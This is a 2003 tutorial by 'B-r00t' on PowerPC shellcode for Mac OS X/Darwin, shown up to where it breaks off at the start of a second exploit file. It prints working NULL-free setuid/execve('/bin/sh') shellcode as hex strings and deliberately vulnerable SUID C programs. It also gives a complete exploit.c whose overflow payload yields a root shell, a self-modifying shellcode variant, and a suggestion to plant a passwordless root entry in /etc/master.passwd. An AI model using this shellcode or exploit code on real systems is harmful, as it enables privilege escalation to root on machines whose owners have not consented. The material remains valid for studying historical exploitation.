PowerPC / OS X (Darwin) Shellcode Assembly.

“Smashing The Mac For Fun & Profit”

By B-r00t. © 2003.

Contents

Introduction

The initial purpose of this document was to simply consolidate and summarise the author's own research on the PowerPC architecture. However, it provides an easy introduction to the basics of the PowerPC architecture in its 32bit implementation for those new to the subject, and has therefore been made freely available.

The paper covers the principles used to develop shellcodes intended for use in the exploitation of vulnerabilities discovered within Apple's *OS X (Darwin)* Operating System. This paper assumes a basic understanding of the *C* language, its associated vulnerabilities and Assembly language on the Intel IA32 and PowerPC architectures.

All the examples used throughout this document were written within the following Operating System environment: -

```
[br00t@maki:~] $ sw_vers
ProductName:      Mac OS X
ProductVersion:   10.2.6
BuildVersion:     6L60

[br00t@maki:~] $ uname -a
Darwin maki 6.6 Darwin Kernel Version 6.6: Thu May  1 21:48:54 PDT
2003; root:xnu/xnu-344.34.obj~1/RELEASE_PPC  Power Macintosh powerpc
```

PowerPC (32 bit) Architecture Fundamentals

The PowerPC (*Performance Optimised With Enhanced RISC*) architecture as its name states uses a RISC (*Reduced Instruction Set Computer*) instruction set. All instructions (Opcodes) forming the instruction set are the same size (32bit) to allow for parallel pipelined processing. While it is possible to operate the PowerPC microprocessor in either 'little endian' or 'big endian' memory addressing modes, its default configuration (and that used by most Operating Systems) is 'big endian' byte ordering. Due to the way in which instructions are loaded and executed within the PowerPC architecture, each instruction has to be naturally aligned in memory. That is, each 32bit instruction has to 'word' aligned to be considered valid for execution by the microprocessor.

The PowerPC and its associated *RISC* instruction set is designed as a 'load / store' machine. This means it was designed to either load or store data to or from memory with all operations on that data occurring via the use of registers. There are therefore very few instructions that allow the direct manipulation of memory. The following (most relevant) registers are available to the programmer with definitions given as per the 32bit implementation of the PowerPC architecture.

- Machine State Register – The MSR register defines the configuration and modes of operation of the PowerPC Microprocessor. For example, the mode of byte ordering ('big endian' or 'little endian') is set using this register.

- General Purpose Registers - The PowerPC provides thirty-two 32bit general purpose registers (GPR0 – GPR31). These registers are often shown as r0, r1 in Assembly language syntax.

- Floating Point Registers - There are thirty-two 64bit registers (FPR0 – FPR31) available for floating point calculations and instructions.

- Overflow Register – The overflow register (XER) serves to provide indication of an overflow occurring as a result of a previous instruction or integer calculation.

- Floating Point Status and Control Register – The FPSCR register provides a means of detecting specific outcomes of floating point operations and calculations.

- Condition Register – The condition register (CR) provides an indication of the result of a previous calculation and is often used for conditional branching.

- Count Register – The count register (CTR) is a 32bit register that can hold a loop count and be decremented automatically using specific branch instructions.

- Link Register – The link register (LR) provides a mechanism to store the return address of a subroutine.

OS X (Darwin) System Calls

Apple's *OS X* (*Darwin*) Operating System is similar to *Linux* in its execution of system calls, in that they are executed according to values stored within the microprocessor registers. *OS X* and *Darwin* use the following PowerPC general purpose registers accordingly: -

- r0 - The number of the system call to be executed. The *OS X* / *Darwin* system call numbers for each function can be found in the file '*/usr/include/sys/syscall.h'*. The r0 register is analogous to the EAX register on the Intel IA32 architecture.

- r1 - The r1 register represents the stack pointer, (SP) on the Intel IA32 architecture.

- r3, r4, r5… – These registers form the arguments to be passed to the system call.

By way of example, the following Assembly programs show the similarity between the two Operating Systems *Linux* and *OS X* in performing an *exit(5)* function.

Linux (IA32)
```
mov   eax, 0x01    ; Move system call for exit() into eax. Linux = 1
mov   ebx, 0x05    ; Move value 5 into ebx register
int   0x80         ; Activate the system call exit(ebx) or exit(5)
```

OS X (PowerPC)
```
li    r0, 0x01     ; Load system call for exit() into r0. OS X = 1
li    r3, 0x05     ; Load value 5 into r3
sc                 ; Activate the system call exit(r3) or exit(5)
```

An important PowerPC characteristic to note is how code execution resumes after a system call. The code to be executed following a system call depends upon whether the system call was successful or not.

The following PowerPC code *test.s* calls *setuid(0),* if the system call succeeds the program will *exit(0).* However, if the *setuid(0)* call fails the program will *exit(1).*

```
[br00t@maki:~/ppcasm] $ cat test.s
.globl _main
.text
_main:
xor     r3, r3,r3       ;  r3 = 0
li      r0, 23          ;  syscall for setuid = 23
sc                      ;  system call setuid(r3)

li      r3, 1           ;  code execution resumes here
                        ;  if the setuid system call failed.
                        ;  r3 = 1 IF setuid(0) FAILED

li      r0, 1           ;  code execution resumes here
                        ;  if setuid(0) was a success.
                        ;  syscall for exit = 1
sc                      ;  system call exit(r3)

[br00t@maki:~/ppcasm] $ gcc -o test test.s
[br00t@maki:~/ppcasm] $ ls -l test
-rwxr-xr-x    1 br00t    staff       11540 Aug 21 13:22 test*

[br00t@maki:~/ppcasm] $ id
uid=501(br00t) gid=20(staff) groups=20(staff), 80(admin)

[br00t@maki:~/ppcasm] $ ./test; echo $?
1
```

The *test* program returns a ‘1’ indicating that the *setuid(0)* call failed, and that the instruction *‘li r3, 1’* (load register r3 with value ‘1’) was executed. However, by making the *test* program SUID (Set User ID) and owned by the root user, the following results occur.

```
[root@maki:~/ppcasm] $ chown root test

[root@maki:~/ppcasm] $ chmod u+s test

[root@maki:~/ppcasm] $ ls -l test
-rwsr-xr-x  1 root  staff  11540 Aug 21 13:22 test

[br00t@maki:~/ppcasm] $ ./test; echo $?
0
```

The *test* program returns a ‘0’ indicating that the call to *setuid(0)* was successful, and that the *‘li r3, 1’* instruction was never executed. This behaviour can be used to form conditional branches within the program depending on a system call’s success or failure.

Shellcode Design Considerations

Ordinarily, the shellcode that forms part of the the payload of an exploit is designed to execute a process that preserves the elevated privileges of the program being exploited, so that those privileges can be further used by the attacker. A typical example might be to read and possibly edit files that are otherwise not available to a normal user such as the system password file, or to execute an interactive shell environment with escalated privileges so that further commands can be issued with escalated privileges.

In most cases, the shellcode is 'injected' into the memory space of the vulnerable program via a buffer overflow or format strings vulnerability. The nature of these types of vulnerabilities usually dictate that the shellcode have at least two qualities.

- Small Size – Very often the space provided for user input to the vulnerable program is limited. Shellcode designed for the PowerPC architecture is often larger than the equivalent shellcode on Intel IA32 due to all PowerPC instructions being a fixed 32bits in length.

- Free of *NULL* Bytes – Those vulnerabilities resulting from the use of *C* functions such as *strcat, strcpy gets etc* rely on having the user input containing no *NULL* characters. A large number of the PowerPC instruction codes include *NULL* bytes limiting the instructions available to the attacker. It is sometimes possible to use equivalent instructions to eliminate these *NULL* bytes, but this process often leads to larger shellcodes.

Deriving Working Shellcodes

The most versatile and therefore useful payload of an exploit is that which spawns an interactive shell, allowing the attacker to execute further commands with the privileges of the exploited program. The *C* function *execve()* is used to execute a program and terminate the calling process. Therefore, an ideal payload would be designed to execute the following functions: -

- *setuid(0)* - Attempt to (re)gain UID 0 (root) access. This system call is useful when exploiting programs that are running as another user after initially running as the root user.
- *execve(/bin/sh)* – Execute *'/bin/sh'*. Provide the attacker with an interactive shell environment.
- *exit()* – Exit cleanly on termination, minimising the chances of the target machine crashing as a result of its program execution being altered.

The system calls to both *setuid()* and *exit()* have already been shown to be straight forward in their operation. The *execve()* system call to execute *'/bin/sh'* is more complex requiring more arguments to be passed to it.

The *execve() man* (manual) page reveals its usage: -

```
SYNOPSIS
int execve(const char *path, char *const argv[], char *const envp[]);


DESCRIPTION
     execve() transforms the calling process into a new process.
```

An example use of *execve()* in *C* can be seen below: -

```
[br00t@maki:~/ppcasm] $ cat shell.c

#include <sys/types.h>
#include <unistd.h>
int main(void)
{
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve("/bin/sh", args, NULL);
}

[br00t@maki:~/ppcasm] $ gcc -o shell shell.c
[br00t@maki:~/ppcasm] $ ./shell
sh-2.05a$
```

The *man* page information shows what arguments need to be passed to the *execve()* system call to execute *'/bin/sh'*. The parameters will be passed to the system call via the PowerPC general purpose registers as follows: -

- r0 - The *execve()* system call value 59.
- r3 - The memory address of the string *"/bin/sh"*
- r4 – The memory address that points to argv[]
- r5 – The memory address that points to envp[] or *NULL*

```
[br00t@maki:~/ppcasm] $ cat simple_execve.s
.globl _main
.text
_main:
        xor.    r5, r5, r5     ;1. r5 = NULL
        bnel    _main          ;2. branch to _main if not equal
        mflr    r3             ;3. r3 = main + 8
        addi    r3, r3, 28     ;4. r3 = main + 8 + 28 = string
        stw     r3, -8(r1)     ;5. argv[0] = string
        stw     r5, -4(r1)     ;6. argv[1] = NULL
        subi    r4, r1, 8      ;7. r4 = pointer to argv[]
        li      r0, 59         ;8. r0 = 59 execve()
        sc                     ;9. execve(r3, r4, r5)
                               ;   execve(path, argv[], NULL)
string:   .asciz "/bin/sh"
```

1. The instruction '`xor r5, r5, r5`' serves to make r5 zero or *NULL* and also set the equal flag in the CR register.
2. The instruction '`bnel _main`' means branch if not equal and save the return address in the link register LR. This branch will never be made due to the state of the CR register as caused at line 1, however, the return address will be saved in LR regardless.
3. The current value held in LR is copied into register r3.
4. The value held in r3 is now increased by 28 bytes to point to the string *"/bin/sh"*.
5. Store the value held in r3 (string) into the memory location pointed to by r1 (stack pointer) minus 8.
6. Store the value in r5 (*NULL*) at the memory location r1 (stack pointer) minus 4.
7. Place the value of r1 (stack pointer) minus 8 into register r4.
8. Load r0 with the value 59 (system call number for execve).
9. Activate the system call *execve(r3, r4, r5).*

```
[br00t@maki:~/ppcasm] $ gcc -o simple_execve simple_execve.s

[br00t@maki:~/ppcasm] $ ./simple_execve
sh-2.05a$
```

Eliminating NULL Bytes

Using *GDB (Gnu DeBugger)*, the *simple_execve* program is converted to shellcode hex values as shown below: -

```
[br00t@maki:~/ppcasm] $ gdb simple_execve
Reading symbols for shared libraries .. done
(gdb) disas main
Dump of assembler code for function main:
0x1dac <main>:     xor.  r5,r5,r5
0x1db0 <main+4>:  bnel+ 0x1dac <main>
0x1db4 <main+8>:  mflr  r3
0x1db8 <main+12>: addi  r3,r3,28
0x1dbc <main+16>: stw   r3,-8(r1)
0x1dc0 <main+20>: stw   r5,-4(r1)
0x1dc4 <main+24>: addi  r4,r1,-8
0x1dc8 <main+28>: li    r0,59
0x1dcc <main+32>: sc
End of assembler dump.
(gdb) x/4bx main
0x1dac <main>:     0x7c  0xa5  0x2a  0x79
(gdb)
0x1db0 <main+4>:  0x40  0x82  0xff  0xfd
(gdb)
0x1db4 <main+8>:  0x7c  0x68  0x02  0xa6
(gdb)
0x1db8 <main+12>: 0x38  0x63  0x00  0x1c
(gdb)
0x1dbc <main+16>: 0x90  0x61  0xff  0xf8
(gdb)
0x1dc0 <main+20>: 0x90  0xa1  0xff  0xfc
(gdb)
0x1dc4 <main+24>: 0x38  0x81  0xff  0xf8
(gdb)
0x1dc8 <main+28>: 0x38  0x00  0x00  0x3b
(gdb)
0x1dcc <main+32>: 0x44  0x00  0x00  0x02
(gdb)
0x1dd0 <string>:  0x2f  0x62  0x69  0x6e
(gdb)
0x1dd4 <string+4>:      0x2f  0x73  0x68
```

As can be seen from the *simple_execve* program *GDB* output, the resulting shellcode has a number of *NULL* bytes present. These bytes must be eliminated for the shellcode to be of any use to the attacker. The lines causing problems are: -

```
   1. <main+12>:  addi  r3,r3,28    ;      0x38  0x63  0x00  0x1c
   2. <main+28>:  li    r0,59       ;      0x38  0x00  0x00  0x3b
   3. <main+32>:  sc                ;      0x44  0x00  0x00  0x02
```

```
Original Instruction.          Replaced With.

1. addi r3,r3,28               addi  r3, r3, 268+32
                               addi  r3, r3, -268

2. li r0,59                    li    r30, 268+59
                               addi  r0, r30, -268
```

```
3. The opcode for sc (system call) is 0x44000002. However, bytes 2
and 3 of the opcode are reserved and therefore not used. With no
other opcodes beginning with 0x44 or ending with 0x02 it is possible
to use any none zero value for bytes 2 and 3 of the opcode without
affecting its operation. The final opcode for 'sc' can therefore
become: -

   sc                         .long 0x44ffff02
```

Lastly, the standard *NOP* (No Operation) instruction on the PowerPC architecture contains *NULL* bytes as can be seen by its hex representation *0x60000000*. The *NOP* instruction on any architecture is most often used to pad and fill the payload of the exploit and is therefore necessary regardless of its functionality. Again the *NULL* bytes are reserved and can therefore be changed to any none *NULL* value such as *0x60606060*.

Putting all of the above techniques together, a final working shellcode can be derived.

```
[br00t@maki:~/ppcasm] $ cat final_shellcode.s
; PPC OS X / Darwin Shellcode by B-r00t.
; setuid(0) execve(/bin/sh) exit(0)
;
.globl _main
.text
_main:
      xor.  r3, r3, r3              ; r3 = 0
      bnel  _main                   ;
      li    r10, 268+23             ; r10 = 268 + 23
      addi  r0, r10, -268           ; r0 = 23 syscall for setuid()
      .long 0x44ffff02              ; modified sc
      .long 0x60606060              ; modified NOP
      xor.  r5, r5, r5              ; r5 = 0
      mflr  r3                      ; r3 = LR (main + 8)
      addi  r3, r3, 268+72          ;
      addi  r3, r3, -268            ; r3 = string
      stw   r3, -8(r1)              ; argv[0] = string
      stw   r5, -4(r1)              ; argv[1] = NULL
      subi  r4, r1, 8               ; r4 = pointer to argv[]
      li    r30, 268+59             ;
      addi  r0, r30, -268           ; r0 = 59 syscall for execve()
      .long 0x44ffff02              ; modified sc
      mr    r3, r5                  ; r3 = 0
      li    r30, 268+1              ;
      addi  r0, r30, -268           ; r0 = 1 syscall for exit()
      .long 0x44ffff02              ; modified sc
string:     .asciz "/bin/sh"        ;
```

The final shellcode (87 bytes) obtained using *GDB* from the *final_shellcode* program can then be tested using a simple *C* program *test_it.c*.

```
[br00t@maki:~/ppcasm] $ cat test_it.c

char ppcshellcode[] = // 87bytes
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x39\x40\x01\x23\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x7c\xa5\x2a\x79\x7c\x68\x02\xa6"
"\x38\x63\x01\x54\x38\x63\xfe\xf4"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x3b\xc0\x01\x47"
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"
"\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d"
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68";

int main(void) {
__asm__( "b _ppcshellcode" );
}

[br00t@maki:~/ppcasm] $ id
uid=501(br00t) gid=20(staff) groups=20(staff), 80(admin)

[br00t@maki:~/ppcasm] $ gcc -o test_it test_it.c

[root@maki:~/ppcasm] $ chown root test_it

[root@maki:~/ppcasm] $ chmod u+s test_it

[br00t@maki:~/ppcasm] $ ./test_it
sh-2.05a# id
uid=0(root) gid=20(staff) groups=20(staff), 80(admin)
```

The final shellcode can be seen to successfully spawn an interactive UID 0 shell *(/bin/sh)* and thus be used in the further exploitation of vulnerabilities discovered in the *OS X* (*Darwin*) Operating System.

PowerPC Subroutine Handling

On the Intel IA32 architecture, subroutines and functions are implemented by means of a 'call' instruction. The call instruction saves the return address on the stack before executing the called function. The saved return address can be over written using buffer overflow techniques, thus gaining control of the vulnerable programs execution. However, on the PowerPC architecture subroutines and functions are handled differently. The following *C* program *func.c* demonstrates how functions are handled on the PowerPC architecture.

```
[br00t@maki:~/ppcasm] $ cat func.c

int main (void)
{
function();
}

int function (void)
{
return 0;
};

[br00t@maki:~/ppcasm] $ gcc -o func func.c
[br00t@maki:~/ppcasm] $ gdb func
Reading symbols for shared libraries .. done
(gdb) disas main
Dump of assembler code for function main:
0x1d88 <main>:    mflr  r0
0x1d8c <main+4>:  stmw  r30,-8(r1)
0x1d90 <main+8>:  stw   r0,8(r1)
0x1d94 <main+12>: stwu  r1,-80(r1)
0x1d98 <main+16>: mr    r30,r1
0x1d9c <main+20>: bl    0x1db8 <function>
0x1da0 <main+24>: mr    r3,r0
0x1da4 <main+28>: lwz   r1,0(r1)
0x1da8 <main+32>: lwz   r0,8(r1)
0x1dac <main+36>: mtlr  r0
0x1db0 <main+40>: lmw   r30,-8(r1)
0x1db4 <main+44>: blr
End of assembler dump.
```

The *GDB* disassembly of *func* reveals that the call to *function()* is implemented by a *'bl <function>'* (Branch and Link) instruction at '*main+20'*. This means that the return address to commence code execution after returning from *function* is stored in the hardware register LR (link register). At this point there is no way to alter the value stored in LR using vulnerabilities such as buffer overflow techniques and hence no possible method of gaining control of the program execution.

However, due to there being only a single LR register, should the program wish to call a second function or branch, the current value stored in LR has to be preserved on the stack. This means that although it is not possible to gain control of the current function, overwriting the LR value stored on the stack can gain control of the previous function.

The majority of the time, due to the number of branch instructions already executed, vulnerable programs on the PowerPC architecture behave in a similar fashion to their Intel IA32 counterparts. The ability to overwrite the stored LR value is demonstrated in the *simple_overflow* program.

```
[br00t@maki:~/ppcasm] $ cat simple_overflow.c
/*
Simple program to demonstrate buffer overflows
on the PowerPC architecture.
*/

#include <stdio.h>
#include <string.h>

char largebuff[] =
"1234512345123456====PRESERVED=SPACE=====ABCD";

int main (void)
{
char smallbuff[16];
strcpy (smallbuff, largebuff);
}
```

Running the *simple_overflow* program in *GDB* shows that control of the saved return address (previous LR value) is possible.

```
[br00t@maki:~/ppcasm] $ gcc -o simple_overflow simple_overflow.c
[br00t@maki:~/ppcasm] $ gdb ./simple_overflow
Reading symbols for shared libraries .. done
(gdb) r
Starting program: /Users/br00t/ppcasm/simple_overflow
[Switching to process 466 thread 0xb03]
Reading symbols for shared libraries . done
Reading symbols for shared libraries .. done

Program received signal EXC_BAD_ACCESS, Could not access memory.
0x41424344 in ?? ()
```

GDB has failed with an error indicating that the program attempted to execute instructions at the memory address *'0x41424344'*. This address results from the hexadecimal *ASCII* values of the 'ABCD' characters forming the end of the string stored in *largebuff[]*. These characters have overwritten data previously stored on the stack and hence the program assumes that the value *'0x41424344'* (ABCD) is the stored LR value to continue code execution.

It should be noted that although the buffer being overflowed *smallbuff[16]* is only sixteen bytes in size, it still took a further twenty-four bytes to reach the saved LR value. This is because for every stack frame, twenty-four bytes of stack space are kept to allow the machines registers to be preserved between calls.

Example Shellcode Usage (Fwd Jump Into Stack)

Using the previously designed shellcode and a vulnerable SUID 0 program *vulnerable.c,* an example is given as to how the shellcode might be used against the *OS X / Darwin* Operating System.

```
[br00t@maki:~/ppcasm] $ cat vulnerable.c
/*
Vulnerable program to demonstrate OS X (Darwin)
exploitation on the PowerPC architecture.
*/
#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[])
{
char vulnbuff[16];
strcpy (vulnbuff, argv[1]);
printf ("\n%s\n", vulnbuff);
}

[br00t@maki:~/ppcasm] $ gcc -o vulnerable vulnerable.c
[br00t@maki:~/ppcasm] $ sudo chown root vulnerable
[br00t@maki:~/ppcasm] $ sudo chmod u+s vulnerable

[br00t@maki:~/ppcasm] $ ls -l vulnerable
-rwsr-xr-x    1 root     staff       11604 Aug 22 12:37 vulnerable*
```

The process for gaining control of the vulnerable program is as follows: -

1. Construct the initial payload with junk characters to ensure its size is correct to overflow the buffer *vulnbuff[16]* + preserved 24bytes stack space (40 bytes).
2. Query the current value of the stack pointer (r1).
3. Offset the memory address obtained in step 2 to point to memory that will contain the shellcode instructions. Append this memory location (4bytes) onto the end of the payload.
4. Ensure that the new memory address in stack space to resume program execution is 'word' aligned so the shellcode will be executed.
5. Append the shellcode onto the payload.
6. Call the vulnerable program with our payload to cause the buffer overflow.

```
Stack : [_vulnbuff_16bytes_] [_24bytes_PRESERVED_] [__LR_][…Data ………]
Payload:[____________FILLER_CHARS________________] [_RET_][SHELLCODE]
```

It is important to realise that the shellcode will overwrite any data that has been preserved previously on the stack. For example, the overwritten data may include environment variables and cause the resulting interactive shell environment to not behave as expected.

An example of a typical exploit for the vulnerable program *(vulnerable.c)* can be seen below: -

```
[br00t@maki:~/ppcasm] $ cat exploit.c
#include <string.h>
#include <unistd.h>
#include <stdio.h>

#define VULNBUFF  16+24
#define SHELLCODE 88
#define OFFSET          428

int sp (void);

char ppcshellcode[] = //88bytes
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x39\x40\x01\x23\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x7c\xa5\x2a\x79\x7c\x68\x02\xa6"
"\x38\x63\x01\x54\x38\x63\xfe\xf4"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x3b\xc0\x01\x47"
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"
"\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d"
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";

char nops[] = // 40bytes
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x60\x60\x60\x60\x60\x60\x60\x60";

char filler[] =
"1234567812345678"
"1234567812345678"
"12345678"; // 40bytes

int main (int argc, char *argv[])
{

// Variables
long int ret, retused;
unsigned char retaddy[4];
char evilbuff[400];
memset (evilbuff, '\0', sizeof(evilbuff));

// Set UP Memory Address To Jump To
ret = sp();
retused = ret + OFFSET;
retaddy[0] = (int)((retused & 0xff000000) >> 24);
retaddy[1] = (int)((retused & 0x00ff0000) >> 16);
retaddy[2] = (int)((retused & 0x0000ff00) >> 8);
retaddy[3] = (int) (retused & 0x000000ff);
retaddy[4] = '\0';
// Program Information
printf ("\nStack Address: 0x%x", ret);
printf ("\nOffset Used: 0x%x", OFFSET);
printf ("\nRET Address: 0x%x (%x %x %x %x)\n",
 retused, retaddy[0], retaddy[1], retaddy[2], retaddy[3]);

// Construct Payload
strcpy (evilbuff, filler); //filler
strcat (evilbuff, retaddy); //return address
strcat (evilbuff, nops); //nops
strcat (evilbuff, ppcshellcode); //shellcode

// Call Vulnerable_program With Payload .
printf ("\nCalling ./vulnerable evilbuff ...\n");
execl ("./vulnerable", "vulnerable", evilbuff, NULL);
}

// Simply returns value of r1 (stack pointer).
int sp (void) {
            __asm__("mr r0, r1");
            }
```

By initially setting the desired return address to equal “ABCD” by changing: -

```
strcat (evilbuff, retaddy); //return address
```
to
```
strcat (evilbuff, "ABCD"); //dummy return address
```

and using *GDB* to search through the stack memory after the buffer overflow has occurred, the *NOP* characters (*0x60*) are discovered at memory location *0xbffffd0c.* The value of the stack pointer (r1) was *0xbffffb60,* meaning that the correct *OFFSET* value can be calculated as *0xbffffd0c - 0xbffffb60 = 428.* After setting the correct *OFFSET* value and return address program line, the exploit performs as follows: -

```
[br00t@maki:~/ppcasm] $ ls -l ./vulnerable
-rwsr-xr-x    1 root     staff       11604 Aug 27 17:57 ./vulnerable*

[br00t@maki:~/ppcasm] $ id
uid=501(br00t) gid=20(staff) groups=20(staff), 80(admin)

[br00t@maki:~/ppcasm] $ gcc -o exploit exploit.c
```

~~~
[br00t@maki:~/ppcasm] $ ./exploit

Stack Address: 0xbffffb40
Offset Used: 0x1ac
RET Address: 0xbffffcec (bf ff fc ec)

Calling ./vulnerable evilbuff ...

1234567812345678123456781234567812345678¿ÿüì`````````````````````````
```````````````|cy@ÿ_9@#8
8_ôDÿÿ/bin/sh|h_8cT8c_ôaÿø¡ÿü8ÿø;ÀG8_ôDÿÿ|£+x;À

sh-2.05a# id
uid=0(root) gid=20(staff) groups=20(staff), 80(admin)
~~~

As can be seen from the *id* command, the vulnerable program has been successfully exploited, giving the attacker an interactive shell *(/bin/sh)* with *UID 0 (root)* privileges.

If the vulnerable program being exploited has a large enough buffer, for example if the program *vulnerable.c* included the line: -

```
char vulnbuff[256];
```

instead of

```
char vulnbuff[16];
```

It would be possible to store the shellcode within the buffer being overflowed and thus minimise the risk of overwriting important data previously stored on the stack.

Self Modifying Shellcode

The method of jumping back into stack space (instead of forward as already demonstrated), dictates that the shellcode be designed to be ‘self modifying’. This is because the string ‘*/bin/sh*’ has to be *NULL* terminated upon execution to separate it from the characters forming the desired return address. However, the shellcode must not contain any *NULL* characters during the buffer overflow process. If the *NULL* is not present, when the shellcode is executed, the *execve()* system call will attempt to execute the program ‘*/bin/shXXXX*’*,* (where ‘*XXXX*’ is the four byte return address) which does not exist and will therefore fail.

The solution to this problem is to initially have the string to executed ‘*/bin/sh*’ appended with a single character (such as ‘X’). Upon the shellcode being executed, the first instructions overwrite the memory address containing the appended character with a *NULL*. The Assembly code to achieve this process is shown below.

```
_main:
xor.  r3, r3, r3            ; r3 = NULL
bnel  _main                 ; Set LR register
mflr  r31                   ; r31 = LR = memory address main+8bytes
addi  r8, r31, 268+OFFSET   ; r8 = r31 + OFFSET to reach 'X'
addi  r8, r8, -268          ; r8 = memory address of 'X'
stbx  r3, r8, r3            ; Store r3 (NULL) into r8 + r3(NULL)
string: .asciz "/bin/shX"
```

Using the self modifying shellcode technique to *NULL* terminate character strings, an attacker is not restricted to executing single arguments (such as *‘/bin/sh’),* and therefore other system calls can be incorporated into the attack. For example, to write a file two separate strings are required within the shellcode. Firstly, the name (*NULL* terminated string*)* of the file to be *open()*ed (eg. *‘/etc/master.passwd’*) and secondly the character string to *write()* to that file (*‘hacker::0:0::0:0:hacker,,,:/:/bin/sh’).*

However, when designing the functionality of the shellcode, the attacker should be aware of the size of the resulting payload. In the example Assembly code above, it takes 3 instructions (12 bytes) to *NULL* terminate a single string.

The difference in the exploit payload design between forward jumping code and code that jumps back into the stack is shown below: -

```
                                   Code Execution ~~~>
FWD JMP: [_FILLER_CHARS_][_RET_][_NOPS_][_SHELLCODE_]
                               |_ _ _^


               Code Execution ~~~~~~~~~~>
REV JMP: [_____NOPS_____][__SHELLCODE__][_RET_]
            ^_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _|
```

The following Assembly program *new_shellcode.s* shows the fully working self modifying shellcode.

```
[br00t@maki:~/ppcasm] $ cat new_shellcode.s
; PPC OS X / Darwin Shellcode by B-r00t.
; setuid(0) execve(/bin/sh) exit(0)
;
.globl _main
.text
_main:
        xor.  r3, r3, r3        ; r3 = NULL
        bnel  _main
        mflr  r31               ; r31 = LR (_main +8)
        addi  r8, r31, 268+84+7
        addi  r8, r8, -268      ; r8 = path+7
        stbx  r3, r8, r3        ; path+7 (X) = r3 = NULL
        li    r10, 268+23
        addi  r0, r10, -268     ; r0 = 23 = setuid()
        .long 0x44ffff02        ; modified system call
        .long 0x60606060        ; modified NOP
        xor.  r5, r5, r5        ; r5 = NULL
        addi  r3, r31, 268+84
        addi  r3, r3, -268      ; r3 = path
        stw   r3, -8(r1)        ; argv[0] = string
        stw   r5, -4(r1)        ; argv[1] = NULL
        subi  r4, r1, 8         ; r4 = pointer to argv[]
        li    r30, 268+59
        addi  r0, r30, -268     ; r0 = 59 = execve()
        .long 0x44ffff02        ; modified system call
        mr    r3, r5            ; r3 = r5 = NULL
        li    r30, 268+1
        addi  r0, r30, -268     ; r0 = 1 = exit()
        .long 0x44ffff02        ; modified system call
path:   .asciz "/bin/shX"        ; 'X' becomes NULL.
```

If the *new_shellcode.s* program is assembled and executed an error occurs due to the program running in the '*.text'* area of memory which is read only. The cause of the error is the line 'stbx r3, r8, r3' which attempts to write a NULL to the same area of memory.

```
[br00t@maki:~/ppcasm] $ gcc -o new_shellcode new_shellcode.s

[br00t@maki:~/ppcasm] $ ./new_shellcode
Bus error
```

The instructions (shellcode) will normally be executed within the stack memory space of the target machine, and therefore no such error will occur due to the stack being writable. Using *GDB* to obtain the shellcode from the program *new_shellcode.s*, and executing the shellcode within a *C* wrapper reveals the program *test_again.c* to function normally with any data after the shellcode not affecting its operation.

```
[br00t@maki:~/ppcasm] $ cat test_again.c

char ppcshellcode[] = // 100bytes
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x67"
"\x39\x08\xfe\xf4\x7c\x68\x19\xae"
"\x39\x40\x01\x23\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x7c\xa5\x2a\x79\x38\x7f\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58"
"this has no effect on shellcode";

int main (void)
{
        __asm__("b _ppcshellcode");
}


[br00t@maki:~/ppcasm] $ gcc -o test_again test_again.c

[root@maki:~/ppcasm] $ chown root test_again
[root@maki:~/ppcasm] $ chmod u+s test_again

[br00t@maki:~/ppcasm] $ ./test_again
sh-2.05a# id
uid=0(root) gid=20(staff) groups=20(staff), 80(admin)
```

As can be seen the shellcode successfully executes an interactive shell (‘*/bin/sh’),* and any characters appended after the shellcode have no effect on its execution. This means that it is now possible to append the shellcode with a desired return address to exploit buffer overflow conditions by jumping back in to the stack instead of forwards as already discussed.

Example Shellcode Usage2 (Jump Back Into Stack)

To demonstrate the use of the self modifying shellcode and the jumping back into the stack method of exploiting a buffer overflow condition, the following vulnerable program *vulnerable2.c* was used. This program is essentially the same as the *vulnerable.c* program used previously, except the vulnerable buffer has been made larger to accommodate the shellcode.

```
char vulnbuff[256];
```

instead of

```
char vulnbuff[16];
```

```
[br00t@maki:~/ppcasm] $ cat vulnerable2.c
/*
Vulnerable program to demonstrate OS X (Darwin)
exploitation on the PowerPC architecture.
*/

#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[])
{
char vulnbuff[256];
strcpy (vulnbuff, argv[1]);
printf ("\n%s\n", vulnbuff);
}
```

The exploit payload will be constructed using *NOP* characters (hex code *0x60*) and the self modifying shellcode designed above to overflow the size of *vulnbuff[256]* + 24 bytes preserved stack space (280 bytes). Lastly, the return address (4 bytes) will be appended to the payload to overwrite the saved return address (LR) on the stack.

```
Stack : [_vulnbuff_256bytes_] [_24bytes_PRESERVED_][__LR_]
Payload:[____________NOPS______________][SHELLCODE][_RET_]
```

The simple exploit *exploit2*.c to achieve the desired payload is shown below.

```
[br00t@maki:~/ppcasm] $ cat exploit2.c
#include <string.h>
#include <unistd.h>
